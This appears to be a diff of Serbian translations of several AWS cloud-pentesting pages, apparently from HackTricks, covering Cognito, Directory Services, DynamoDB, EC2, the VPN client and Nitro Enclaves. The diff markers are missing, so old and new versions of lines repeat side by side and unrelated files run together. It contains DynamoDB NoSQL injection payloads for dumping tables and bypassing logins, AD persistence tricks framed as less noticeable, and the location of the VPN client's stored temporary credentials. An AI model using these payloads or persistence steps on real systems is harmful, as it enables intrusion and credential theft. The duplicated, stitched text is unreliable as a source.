Međutim, ako je **podrazumevana opcija** ona **konfigurisana** (`koristi podrazumevanu ulogu`), i pokušate da pristupite ulozi iz IdToken-a, dobićete **grešku** (zato je potrebna prethodna konfiguracija):
**Uloge** kojima korisnik ima pristup su **unutar `IdToken`**, i korisnik može **odabrati koju ulogu želi za kredencijale** sa **`--custom-role-arn`** iz `aws cognito-identity get-credentials-for-identity`.\
Međutim, ako je **podrazumevana opcija** ona **konfigurisana** (`use default role`), i pokušate da pristupite ulozi iz IdToken-a, dobićete **grešku** (zato je potrebna prethodna konfiguracija):
```
An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN.
```
> [!WARNING]
> Imajte na umu da uloga dodeljena **Grupi korisničkih pool-a** mora biti **dostupna od strane Provajdera identiteta** koji **veruje korisničkom pool-u** (jer će **session kredencijali IAM uloge biti dobijeni iz nje**).
> Imajte na umu da uloga dodeljena **User Pool Group** treba da bude **dostupna od strane Identity Provider** koji **veruje User Pool** (jer će **session credentials IAM uloge biti dobijeni iz nje**).
```json
{
"Version": "2012-10-17",
@@ -7,7 +7,7 @@
AWS Data Pipeline je dizajniran da olakša **pristup, transformaciju i efikasan prenos** podataka na velikoj skali. Omogućava sledeće operacije:
1. **Pristupite svojim podacima gde su pohranjeni**: Podaci koji se nalaze u raznim AWS uslugama mogu se neometano pristupiti.
2. **Transformišite i obrađujte na velikoj skali**: Obimni zadaci obrade i transformacije podataka se efikasno obavljaju.
2. **Transformišite i obrađujte na velikoj skali**: Zadaci obrade i transformacije podataka na velikoj skali se efikasno obavljaju.
3. **Efikasno prenesite rezultate**: Obradni podaci se mogu efikasno preneti na više AWS usluga uključujući:
- Amazon S3
- Amazon RDS
@@ -54,9 +54,9 @@ Na sledećoj stranici možete proveriti kako da **zloupotrebite dozvole codepipe
## CodeCommit
To je **usluga za kontrolu verzija**, koja je hostovana i potpuno upravljana od strane Amazona, a može se koristiti za privatno skladištenje podataka (dokumenata, binarnih fajlova, izvornog koda) i upravljanje njima u oblaku.
To je **usluga za kontrolu verzija**, koja je hostovana i potpuno upravljana od strane Amazona, a može se koristiti za privatno čuvanje podataka (dokumenata, binarnih fajlova, izvornog koda) i upravljanje njima u oblaku.
Ona **eliminira** potrebu da korisnik zna Git i **upravlja sopstvenim sistemom kontrole verzija** ili brine o skaliranju svoje infrastrukture. Codecommit podržava sve standardne **funkcionalnosti koje se mogu naći u Gitu**, što znači da besprekorno funkcioniše sa trenutnim Git alatima korisnika.
Ona **eliminira** potrebu da korisnik poznaje Git i **upravlja sopstvenim sistemom kontrole verzija** ili brine o skaliranju svoje infrastrukture. Codecommit podržava sve standardne **funkcionalnosti koje se mogu naći u Gitu**, što znači da besprekorno funkcioniše sa trenutnim Git alatima korisnika.
### Enumeration
```bash
@@ -90,7 +90,7 @@ ssh-keygen -f .ssh/id_rsa -l -E md5
# Clone repo
git clone ssh://<SSH-KEY-ID>@git-codecommit.<REGION>.amazonaws.com/v1/repos/<repo-name>
```
## References
## Reference
- [https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html](https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html)
@@ -4,17 +4,17 @@
## Directory Services
AWS Directory Service for Microsoft Active Directory je upravljana usluga koja olakšava **postavljanje, upravljanje i skaliranje direktorijuma** u AWS Cloud-u. Izgrađena je na stvarnom **Microsoft Active Directory** i čvrsto se integriše s drugim AWS uslugama, olakšavajući upravljanje vašim radnim opterećenjima i AWS resursima koji su svesni direktorijuma. Sa AWS Managed Microsoft AD, možete **koristiti svoje postojeće** Active Directory korisnike, grupe i politike za upravljanje pristupom vašim AWS resursima. Ovo može pomoći u pojednostavljivanju upravljanja identitetom i smanjenju potrebe za dodatnim rešenjima identiteta. AWS Managed Microsoft AD takođe pruža automatske rezervne kopije i mogućnosti oporavka od katastrofa, pomažući da se osigura dostupnost i trajnost vašeg direktorijuma. Sve u svemu, AWS Directory Service for Microsoft Active Directory može vam pomoći da uštedite vreme i resurse pružajući upravljanu, visoko dostupnu i skalabilnu Active Directory uslugu u AWS Cloud-u.
AWS Directory Service za Microsoft Active Directory je upravljana usluga koja olakšava **postavljanje, upravljanje i skaliranje direktorijuma** u AWS Cloud-u. Izgrađena je na stvarnom **Microsoft Active Directory** i čvrsto se integriše sa drugim AWS uslugama, olakšavajući upravljanje vašim radnim opterećenjima i AWS resursima koji su svesni direktorijuma. Sa AWS Managed Microsoft AD, možete **koristiti svoje postojeće** Active Directory korisnike, grupe i politike za upravljanje pristupom vašim AWS resursima. Ovo može pomoći u pojednostavljivanju upravljanja identitetom i smanjenju potrebe za dodatnim rešenjima identiteta. AWS Managed Microsoft AD takođe pruža automatske rezervne kopije i mogućnosti oporavka od katastrofa, pomažući da se osigura dostupnost i trajnost vašeg direktorijuma. Sve u svemu, AWS Directory Service za Microsoft Active Directory može vam pomoći da uštedite vreme i resurse pružajući upravljanu, visoko dostupnu i skalabilnu Active Directory uslugu u AWS Cloud-u.
### Options
Directory Services omogućava kreiranje 5 tipova direktorijuma:
- **AWS Managed Microsoft AD**: Koji će pokrenuti novi **Microsoft AD u AWS-u**. Moći ćete da postavite administratorsku lozinku i pristupite DC-ima u VPC-u.
- **Simple AD**: Koji će biti **Linux-Samba** server kompatibilan sa Active Directory-jem. Moći ćete da postavite administratorsku lozinku i pristupite DC-ima u VPC-u.
- **AD Connector**: Proksi za **preusmeravanje zahteva za direktorijumom na vaš postojeći Microsoft Active Directory** bez keširanja bilo kakvih informacija u oblaku. Biće aktivan u **VPC-u** i morate dati **akreditive za pristup postojećem AD-u**.
- **Simple AD**: Koji će biti **Linux-Samba** server kompatibilan sa Active Directory. Moći ćete da postavite administratorsku lozinku i pristupite DC-ima u VPC-u.
- **AD Connector**: Proksi za **preusmeravanje zahteva za direktorijumom na vaš postojeći Microsoft Active Directory** bez keširanja bilo kakvih informacija u oblaku. Biće u režimu slušanja u **VPC-u** i morate dati **akreditive za pristup postojećem AD-u**.
- **Amazon Cognito User Pools**: Ovo je isto kao Cognito User Pools.
- **Cloud Directory**: Ovo je **najjednostavnije**. **Serverless** direktorijum gde označavate **šemu** koja će se koristiti i naplaćujete se **prema korišćenju**.
- **Cloud Directory**: Ovo je **najjednostavnije**. **Serverless** direktorijum gde označavate **šemu** koju želite da koristite i **naplaćuje se prema korišćenju**.
AWS Directory services omogućava **sinhronizaciju** sa vašim postojećim **on-premises** Microsoft AD, **pokretanje vlastitog** u AWS-u ili sinhronizaciju sa **drugim tipovima direktorijuma**.
@@ -35,7 +35,7 @@ aws ds get-directory-limits
aws ds list-certificates --directory-id <id>
aws ds describe-certificate --directory-id <id> --certificate-id <id>
```
### Login
### Prijava
Napomena da ako **opis** direktorijuma sadrži **domen** u polju **`AccessUrl`**, to je zato što korisnik verovatno može da se **prijavi** sa svojim **AD akreditivima** u nekim **AWS uslugama:**
@@ -45,39 +45,39 @@ Napomena da ako **opis** direktorijuma sadrži **domen** u polju **`AccessUrl`**
- `<name>.awsapps.com/console` (Amazon Management Console)
- `<name>.awsapps.com/start` (IAM Identity Center)
### Privilege Escalation
### Eskalacija privilegija
{{#ref}}
../aws-privilege-escalation/aws-directory-services-privesc.md
{{#endref}}
## Persistence
## Postojanost
### Using an AD user
### Korišćenje AD korisnika
**AD korisniku** može biti dodeljen **pristup AWS upravljačkoj konzoli** putem uloge koju treba preuzeti. **Podrazumevano korisničko ime je Admin** i moguće je **promeniti njegovu lozinku** iz AWS konzole.
**AD korisniku** može biti dodeljen **pristup AWS upravljačkoj konzoli** putem uloge koju treba preuzeti. **Podrazumevano korisničko ime je Admin** i moguće je **promeniti lozinku** iz AWS konzole.
Stoga, moguće je **promeniti lozinku Admin-a**, **napraviti novog korisnika** ili **promeniti lozinku** korisnika i dodeliti toj osobi ulogu kako bi se održao pristup.\
Takođe je moguće **dodati korisnika u grupu unutar AD** i **dati toj AD grupi pristup ulozi** (da bi se ova postojanost učinila manje uočljivom).
Stoga, moguće je **promeniti lozinku Admin-a**, **napraviti novog korisnika** ili **promeniti lozinku** korisnika i dodeliti toj osobi ulogu za održavanje pristupa.\
Takođe je moguće **dodati korisnika u grupu unutar AD** i **dati toj AD grupi pristup ulozi** (da bi se ova postojanost učinila diskretnijom).
### Sharing AD (from victim to attacker)
### Deljenje AD (od žrtve do napadača)
Moguće je deliti AD okruženje od žrtve do napadača. Na ovaj način napadač će moći da nastavi sa pristupom AD okruženju.\
Međutim, to podrazumeva deljenje upravljanog AD-a i takođe kreiranje VPC peering veze.
Možete pronaći vodič ovde: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html)
### ~~Sharing AD (from attacker to victim)~~
### ~~Deljenje AD (od napadača do žrtve)~~
Ne izgleda da je moguće dodeliti AWS pristup korisnicima iz različitog AD okruženja jednoj AWS nalogu.
## WorkDocs
Amazon Web Services (AWS) WorkDocs je usluga za **skladištenje i deljenje datoteka** zasnovana na oblaku. Deo je AWS paketa usluga računarstva u oblaku i dizajniran je da pruži sigurno i skalabilno rešenje za organizacije za skladištenje, deljenje i saradnju na datotekama i dokumentima.
Amazon Web Services (AWS) WorkDocs je usluga za **skladištenje i deljenje datoteka** zasnovana na oblaku. Deo je AWS paketa usluga računarstva u oblaku i dizajnirana je da pruži sigurno i skalabilno rešenje za organizacije za skladištenje, deljenje i saradnju na datotekama i dokumentima.
AWS WorkDocs pruža web interfejs za korisnike da otpremaju, pristupaju i upravljaju svojim datotekama i dokumentima. Takođe nudi funkcije kao što su kontrola verzija, saradnja u realnom vremenu i integracija sa drugim AWS uslugama i alatima trećih strana.
AWS WorkDocs pruža web-interfejs za korisnike da otpremaju, pristupaju i upravljaju svojim datotekama i dokumentima. Takođe nudi funkcije kao što su kontrola verzija, saradnja u realnom vremenu i integracija sa drugim AWS uslugama i alatima trećih strana.
### Enumeration
### Enumeracija
```bash
# Get AD users (Admin not included)
aws workdocs describe-users --organization-id <directory-id>
@@ -21,7 +21,7 @@ aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attribute
```
### NoSQL Injection
Pošto je DocumentDB kompatibilna sa MongoDB, možete zamisliti da je takođe podložna uobičajenim NoSQL injection napadima:
Pošto je DocumentDB kompatibilna sa MongoDB, možete zamisliti da je takođe podložna uobičajenim NoSQL injekcijama:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/nosql-injection
@@ -6,9 +6,9 @@
### Osnovne informacije
Amazon DynamoDB se predstavlja kao **potpuno upravljana, serverless, key-value NoSQL baza podataka**, prilagođena za pokretanje aplikacija visokih performansi bez obzira na njihovu veličinu. Usluga obezbeđuje robusne karakteristike uključujući inherentne mere bezbednosti, neprekidne rezervne kopije, automatsku replikaciju širom više regiona, integrisano keširanje u memoriji i praktične alate za izvoz podataka.
Amazon DynamoDB se predstavlja kao **potpuno upravljana, serverless, key-value NoSQL baza podataka**, prilagođena za pokretanje aplikacija visokih performansi bez obzira na njihovu veličinu. Usluga obezbeđuje robusne karakteristike uključujući inherentne bezbednosne mere, neprekidne rezervne kopije, automatsku replikaciju širom više regiona, integrisano keširanje u memoriji i praktične alate za izvoz podataka.
U kontekstu DynamoDB, umesto uspostavljanja tradicionalne baze podataka, **kreiraju se tabele**. Svaka tabela zahteva specifikaciju **ključne particije** kao integralnog dela **primarnog ključa tabele**. Ovaj ključ particije, suštinski **hash vrednost**, igra ključnu ulogu u preuzimanju stavki i distribuciji podataka širom različitih hostova. Ova distribucija je ključna za održavanje i skalabilnosti i dostupnosti baze podataka. Pored toga, postoji opcija za uključivanje **sortnog ključa** kako bi se dodatno poboljšala organizacija podataka.
U kontekstu DynamoDB, umesto uspostavljanja tradicionalne baze podataka, **kreiraju se tabele**. Svaka tabela zahteva specifikaciju **partition key** kao integralnog dela **primarnog ključa tabele**. Ovaj partition key, suštinski **hash vrednost**, igra ključnu ulogu u preuzimanju stavki i distribuciji podataka širom različitih hostova. Ova distribucija je ključna za održavanje i skalabilnosti i dostupnosti baze podataka. Pored toga, postoji opcija za uključivanje **sort key** za dalju rafinaciju organizacije podataka.
### Enkripcija
@@ -18,9 +18,9 @@ Podrazumevano, DynamoDB koristi KMS ključ koji \*\*pripada Amazon DynamoDB,\*\*
### Rezervne kopije i izvoz u S3
Moguće je **zakazati** generisanje **rezervnih kopija tabela** ili ih kreirati na **zahtev**. Štaviše, takođe je moguće omogućiti **obnovu u tački vremena (PITR) za tabelu.** Obnova u tački vremena pruža kontinuirane **rezervne kopije** vaših DynamoDB podataka za **35 dana** kako bi vam pomogla da se zaštitite od slučajnih operacija pisanja ili brisanja.
Moguće je **zakazati** generisanje **rezervnih kopija tabela** ili ih kreirati na **zahtev**. Štaviše, takođe je moguće omogućiti **Point-in-time recovery (PITR) za tabelu.** Point-in-time recovery obezbeđuje kontinuirane **rezervne kopije** vaših DynamoDB podataka za **35 dana** kako bi vam pomogao da se zaštitite od slučajnih operacija pisanja ili brisanja.
Takođe je moguće izvesti **podatke tabele u S3**, ali tabela mora imati **omogućenu PITR**.
Takođe je moguće izvesti **podatke tabele u S3**, ali tabela mora imati **PITR omogućeno**.
### GUI
@@ -71,7 +71,7 @@ aws dynamodb describe-endpoints #Dynamodb endpoints
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
{{#endref}}
### Persistencija
### Perzistencija
{{#ref}}
../aws-persistence/aws-dynamodb-persistence.md
@@ -81,7 +81,7 @@ aws dynamodb describe-endpoints #Dynamodb endpoints
### SQL Injekcija
Postoje načini za pristupanje podacima u DynamoDB koristeći **SQL sintaksu**, stoga su tipične **SQL injekcije takođe moguće**.
Postoje načini za pristupanje DynamoDB podacima sa **SQL sintaksom**, stoga su tipične **SQL injekcije takođe moguće**.
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/sql-injection
@@ -89,7 +89,7 @@ https://book.hacktricks.xyz/pentesting-web/sql-injection
### NoSQL Injekcija
U DynamoDB različite **uslove** je moguće koristiti za preuzimanje podataka, kao u uobičajenoj NoSQL injekciji, ako je moguće **povezati više uslova za preuzimanje** podataka, mogli biste dobiti skrivene podatke (ili izvući celu tabelu).\
U DynamoDB različite **uslove** mogu se koristiti za preuzimanje podataka, kao u uobičajenoj NoSQL injekciji, ako je moguće **povezati više uslova za preuzimanje** podataka, mogli biste dobiti skrivene podatke (ili izvući celu tabelu).\
Ovde možete pronaći uslove koje podržava DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)
Napomena da se **različiti uslovi** podržavaju ako se podaci pristupaju putem **`query`** ili putem **`scan`**.
@@ -97,7 +97,7 @@ Napomena da se **različiti uslovi** podržavaju ako se podaci pristupaju putem
> [!NOTE]
> U stvari, **Query** akcije moraju da specificiraju **uslov "EQ" (jednako)** u **primarnom** ključu da bi funkcionisale, čineći ih mnogo **manje podložnim NoSQL injekcijama** (i takođe čineći operaciju veoma ograničenom).
Ako možete **promeniti poređenje** koje se vrši ili dodati nova, mogli biste preuzeti više podataka.
Ako možete **promeniti poređenje** koje se vrši ili dodati nove, mogli biste preuzeti više podataka.
```bash
# Comparators to dump the database
"NE": "a123" #Get everything that doesn't equal "a123"
@@ -125,7 +125,7 @@ napadač bi mogao da ubaci nešto poput:
ispravite "EQ" uslov tražeći ID 1000, a zatim tražeći sve podatke sa ID stringom većim od 0, što je sve.
Još jedan **ranjiv primer korišćenja prijave** mogao bi biti:
Još jedan **ranjiv primer koristeći prijavu** mogao bi biti:
```python
scan_filter = """{
"username": {
@@ -148,7 +148,7 @@ password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
```
### :property Injection
Neki SDK-ovi omogućavaju korišćenje stringa koji ukazuje na filtriranje koje treba izvršiti kao:
Neki SDK-ovi omogućavaju korišćenje stringa koji označava filtriranje koje treba izvršiti kao:
```java
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
```
@@ -20,7 +20,7 @@ Zanimljive stvari za enumeraciju u EC2:
- SSH ključevi
- Podaci o korisnicima
- Postojeći EC2/AMI/snapshoti
- Mreža
- Mreženje
- Mreže
- Podmreže
- Javne IP adrese
@@ -31,7 +31,7 @@ Zanimljive stvari za enumeraciju u EC2:
Korišćenje **rola** za dodeljivanje dozvola aplikacijama koje se pokreću na **EC2 instancama** zahteva malo dodatne konfiguracije. Aplikacija koja se pokreće na EC2 instanci je apstrahovana od AWS-a putem virtuelizovanog operativnog sistema. Zbog ove dodatne separacije, potrebna je dodatna faza za dodeljivanje AWS uloge i njenih povezanih dozvola EC2 instanci i njihovo dostupnost aplikacijama.
Ova dodatna faza je **kreiranje** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) vezanog za instancu. **Instance profile sadrži ulogu i** može obezbediti privremene akreditive uloge aplikaciji koja se pokreće na instanci. Ti privremeni akreditive se zatim mogu koristiti u API pozivima aplikacije za pristup resursima i za ograničavanje pristupa samo onim resursima koje uloga specificira. Imajte na umu da **samo jedna uloga može biti dodeljena EC2 instanci** u isto vreme, a sve aplikacije na instanci dele istu ulogu i dozvole.
Ova dodatna faza je **kreiranje** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) vezanog za instancu. **Instance profile sadrži ulogu i** može obezbediti privremene akreditive uloge aplikaciji koja se pokreće na instanci. Ti privremeni akreditive se zatim mogu koristiti u API pozivima aplikacije za pristup resursima i za ograničavanje pristupa samo onim resursima koje uloga specificira. Imajte na umu da **samo jedna uloga može biti dodeljena EC2 instanci** u isto vreme, i sve aplikacije na instanci dele istu ulogu i dozvole.
### Metadata Endpoint
@@ -127,7 +127,7 @@ aws ec2 describe-route-tables
aws ec2 describe-vpcs
aws ec2 describe-vpc-peering-connections
```
### Neautentifikovani Pristup
### Neautentifikovani pristup
{{#ref}}
../../aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
@@ -155,7 +155,7 @@ Snapshot-i mogu sadržati **osetljive informacije** kao što su **izvorni kod il
### Razlika između AMI i EBS
**AMI** se koristi za **pokretanje EC2 instance**, dok se EC2 **Snapshot** koristi za **backup i oporavak podataka sa EBS volumena**. Dok se EC2 Snapshot može koristiti za kreiranje novog AMI-ja, to nije isto što i AMI, i ne uključuje informacije o operativnom sistemu, serverskom aplikaciji ili drugom softveru potrebnom za pokretanje aplikacije.
**AMI** se koristi za **pokretanje EC2 instance**, dok se EC2 **snapshot** koristi za **backup i oporavak podataka sa EBS volumena**. Dok se EC2 snapshot može koristiti za kreiranje novog AMI-ja, to nije isto što i AMI, i ne uključuje informacije o operativnom sistemu, serverskom softveru ili drugom softveru potrebnom za pokretanje aplikacije.
### Privesc
@@ -182,7 +182,7 @@ aws ssm describe-instance-patches --instance-id <id>
aws ssm describe-instance-patch-states --instance-ids <id>
aws ssm describe-instance-associations-status --instance-id <id>
```
Možete proveriti da li Systems Manager radi u EC2 instanci jednostavno izvršavanjem:
Možete proveriti da li Systems Manager radi na EC2 instanci jednostavno izvršavanjem:
```bash
ps aux | grep amazon-ssm
```
@@ -228,7 +228,7 @@ aws autoscaling describe-load-balancers
```
## Nitro
AWS Nitro je skup **inovativnih tehnologija** koje čine osnovnu platformu za AWS EC2 instance. Uveden od strane Amazona da **poboljša bezbednost, performanse i pouzdanost**, Nitro koristi prilagođene **hardverske komponente i lagani hipervizor**. Apstrahuje većinu tradicionalne funkcionalnosti virtualizacije na posvećen hardver i softver, **minimizirajući površinu napada** i poboljšavajući efikasnost resursa. Oslobađanjem funkcija virtualizacije, Nitro omogućava EC2 instancama da pruže **performanse blizu onih na fizičkom hardveru**, što ga čini posebno korisnim za aplikacije koje zahtevaju mnogo resursa. Pored toga, Nitro Security Chip posebno osigurava **bezbednost hardvera i firmvera**, dodatno učvršćujući njegovu robusnu arhitekturu.
AWS Nitro je skup **inovativnih tehnologija** koje čine osnovnu platformu za AWS EC2 instance. Uveden od strane Amazona da **poboljša bezbednost, performanse i pouzdanost**, Nitro koristi prilagođene **hardverske komponente i lagani hipervizor**. Apstrahuje većinu tradicionalne funkcionalnosti virtualizacije na posvećen hardver i softver, **minimizirajući površinu napada** i poboljšavajući efikasnost resursa. Oslobađanjem funkcija virtualizacije, Nitro omogućava EC2 instancama da pruže **performanse blizu fizičkog hardvera**, što ga čini posebno korisnim za aplikacije koje zahtevaju mnogo resursa. Pored toga, Nitro Security Chip posebno osigurava **bezbednost hardvera i firmvera**, dodatno učvršćujući njegovu robusnu arhitekturu.
Dobijte više informacija i kako da ga enumerišete iz:
@@ -258,9 +258,9 @@ VPN omogućava povezivanje vaše **lokalne mreže (site-to-site VPN)** ili **lap
- Koristi se za sigurnu, stabilnu i doslednu komunikaciju između vašeg data centra ili mreže i vašeg AWS okruženja.
- Obično se koristi za redovne, dugoročne veze i naplaćuje se na osnovu količine podataka prenetih preko veze.
4. **Client VPN Endpoint**:
- Client VPN endpoint je resurs koji kreirate u AWS-u da omogućite i upravljate klijent VPN sesijama.
- Client VPN endpoint je resurs koji kreirate u AWS-u da omogućite i upravljate klijentskim VPN sesijama.
- Koristi se za omogućavanje pojedinačnim uređajima (kao što su laptopi, pametni telefoni itd.) da sigurno povežu sa AWS resursima ili vašom lokalnom mrežom.
- Razlikuje se od Site-to-Site VPN-a po tome što je dizajniran za pojedinačne klijente, a ne za povezivanje celih mreža.
- Razlikuje se od Site-to-Site VPN po tome što je dizajniran za pojedinačne klijente, a ne za povezivanje celih mreža.
- Sa Client VPN-om, svaki klijentski uređaj koristi VPN klijentski softver za uspostavljanje sigurne veze.
Možete [**pronaći više informacija o prednostima i komponentama AWS VPN-a ovde**](aws-vpc-and-networking-basic-information.md#vpn).
@@ -293,13 +293,13 @@ aws ec2 describe-vpn-connections
**Lokalne Privremene Akreditiv**
Kada se koristi AWS VPN klijent za povezivanje na VPN, korisnik obično **prijavljuje se u AWS** da bi dobio pristup VPN-u. Zatim, neki **AWS akreditivi se kreiraju i čuvaju** lokalno kako bi se uspostavila VPN veza. Ovi akreditivi su **čuvani u** `$HOME/.config/AWSVPNClient/TemporaryCredentials/<region>/temporary-credentials.txt` i sadrže **AccessKey**, **SecretKey** i **Token**.
Kada se koristi AWS VPN klijent za povezivanje na VPN, korisnik obično **prijavljuje se u AWS** da bi dobio pristup VPN-u. Tada se neki **AWS akreditivi kreiraju i čuvaju** lokalno kako bi se uspostavila VPN veza. Ovi akreditivi su **čuvani u** `$HOME/.config/AWSVPNClient/TemporaryCredentials/<region>/temporary-credentials.txt` i sadrže **AccessKey**, **SecretKey** i **Token**.
Akreditivi pripadaju korisniku `arn:aws:sts::<acc-id>:assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: istražiti više o dozvolama ovih akreditiva).
**opvn konfiguracione datoteke**
Ako je **VPN veza uspostavljena**, trebali biste pretražiti **`.opvn`** konfiguracione datoteke u sistemu. Štaviše, jedno mesto gde možete pronaći **konfiguracije** je u **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`**
Ako je **VPN veza uspostavljena**, trebali biste potražiti **`.opvn`** konfiguracione datoteke u sistemu. Štaviše, jedno mesto gde možete pronaći **konfiguracije** je u **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`**
#### **Post Eksploatacija**
@@ -4,7 +4,7 @@
## Osnovne informacije
AWS Nitro je skup **inovativnih tehnologija** koje čine osnovnu platformu za AWS EC2 instance. Uveden od strane Amazona da **poboljša bezbednost, performanse i pouzdanost**, Nitro koristi prilagođene **hardverske komponente i lagani hipervizor**. Apstrahuje većinu tradicionalnih funkcionalnosti virtualizacije na posvećen hardver i softver, **minimizirajući površinu napada** i poboljšavajući efikasnost resursa. Prebacivanjem funkcija virtualizacije, Nitro omogućava EC2 instancama da pružaju **performanse blizu onih na fizičkom hardveru**, što je posebno korisno za aplikacije koje zahtevaju mnogo resursa. Pored toga, Nitro Security Chip posebno osigurava **bezbednost hardvera i firmvera**, dodatno učvršćujući svoju robusnu arhitekturu.
AWS Nitro je skup **inovativnih tehnologija** koje čine osnovnu platformu za AWS EC2 instance. Uveden od strane Amazona da **poboljša bezbednost, performanse i pouzdanost**, Nitro koristi prilagođene **hardverske komponente i lagani hipervizor**. Apstrahuje većinu tradicionalne funkcionalnosti virtualizacije na posvećen hardver i softver, **minimizirajući površinu napada** i poboljšavajući efikasnost resursa. Prebacivanjem funkcija virtualizacije, Nitro omogućava EC2 instancama da pružaju **performanse blizu onih na fizičkom hardveru**, što je posebno korisno za aplikacije koje zahtevaju mnogo resursa. Pored toga, Nitro Security Chip posebno osigurava **bezbednost hardvera i firmvera**, dodatno učvršćujući svoju robusnu arhitekturu.
### Nitro Enklave
@@ -15,7 +15,7 @@ AWS Nitro je skup **inovativnih tehnologija** koje čine osnovnu platformu za AW
## Instalacija Nitro Enclave CLI
Pratite sve uputstva [**iz dokumentacije**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave). Međutim, ovo su najvažnija:
Pratite sve upute [**iz dokumentacije**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave). Međutim, ovo su najvažnije:
```bash
# Install tools
sudo amazon-linux-extras install aws-nitro-enclaves-cli -y
@@ -56,7 +56,7 @@ Enclave Image successfully created.
```
### Pokreni sliku
Prema [**dokumentaciji**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), da biste pokrenuli sliku enklave, potrebno je da joj dodelite memoriju **od najmanje 4 puta veličine `eif` fajla**. Moguće je konfigurisati podrazumevane resurse koje joj dodelju u fajlu.
Prema [**dokumentaciji**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), da biste pokrenuli sliku enklave, potrebno je da joj dodelite memoriju **od najmanje 4 puta veličine `eif` fajla**. Moguće je konfigurisati podrazumevane resurse koje će joj dodeliti u fajlu.
```shell
/etc/nitro_enclaves/allocator.yaml
```
@@ -92,7 +92,7 @@ nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID}
Jedini način za komunikaciju sa **enklavom** koja pokreće sliku je korišćenje **vsocks**.
**Virtual Socket (vsock)** je porodica soketa u Linuxu posebno dizajnirana da olakša **komunikaciju** između virtuelnih mašina (**VMs**) i njihovih **hipervizora**, ili između VMs **same**. Vsock omogućava efikasnu, **dvosmernu komunikaciju** bez oslanjanja na mrežni stek hosta. Ovo omogućava VMs da komuniciraju čak i bez mrežnih konfiguracija, **koristeći 32-bitni Context ID (CID) i brojeve portova** za identifikaciju i upravljanje vezama. Vsock API podržava i stream i datagram tipove soketa, slično TCP i UDP, pružajući svestran alat za aplikacije na korisničkom nivou u virtuelnim okruženjima.
**Virtual Socket (vsock)** je porodica soketa u Linuxu posebno dizajnirana da olakša **komunikaciju** između virtuelnih mašina (**VMs**) i njihovih **hipervizora**, ili između VMs **sama**. Vsock omogućava efikasnu, **dvosmernu komunikaciju** bez oslanjanja na mrežni stek hosta. Ovo omogućava VMs da komuniciraju čak i bez mrežnih konfiguracija, **koristeći 32-bitni Context ID (CID) i brojeve portova** za identifikaciju i upravljanje vezama. Vsock API podržava i stream i datagram tipove soketa, slično TCP i UDP, pružajući svestran alat za aplikacije na korisničkom nivou u virtuelnim okruženjima.
> [!TIP]
> Stoga, vsock adresa izgleda ovako: `<CID>:<Port>`
@@ -207,20 +207,20 @@ Ovo će proslediti **lokalni port 8001 u vsock** na `ip-ranges.amazonaws.com:443
allowlist:
- { address: ip-ranges.amazonaws.com, port: 443 }
```
Moguće je videti vsock adrese (**`<CID>:<Port>`**) koje koristi EC2 host sa (napomena: `3:8001`, 3 je CID, a 8001 port):
Moguće je videti vsock adrese (**`<CID>:<Port>`**) koje koristi EC2 host sa (obratite pažnju na `3:8001`, 3 je CID, a 8001 port):
```bash
sudo ss -l -p -n | grep v_str
v_str LISTEN 0 0 3:8001 *:* users:(("vsock-proxy",pid=9458,fd=3))
```
## Nitro Enclave Atestacija & KMS
Nitro Enclaves SDK omogućava enklavi da zatraži **kriptografski potpisan dokument o atestaciji** od Nitro **Hypervisora**, koji uključuje **jedinstvene merenja** specifične za tu enklavu. Ova merenja, koja uključuju **hash-ove i registre konfiguracije platforme (PCRs)**, koriste se tokom procesa atestacije da **dokažu identitet enklave** i **izgrade poverenje sa spoljnim uslugama**. Dokument o atestaciji obično sadrži vrednosti kao što su PCR0, PCR1 i PCR2, koje ste već sreli prilikom izrade i čuvanja EIF-a enklave.
Nitro Enclaves SDK omogućava enklavi da zatraži **kriptografski potpisan dokument o atestaciji** od Nitro **Hypervisora**, koji uključuje **jedinstvene merenja** specifične za tu enklavu. Ova merenja, koja uključuju **hash-ove i registre konfiguracije platforme (PCRs)**, koriste se tokom procesa atestacije da **dokažu identitet enklave** i **izgrade poverenje sa spoljnim servisima**. Dokument o atestaciji obično sadrži vrednosti kao što su PCR0, PCR1 i PCR2, koje ste već sreli prilikom izrade i čuvanja EIF-a enklave.
Prema [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), ovo su PCR vrednosti:
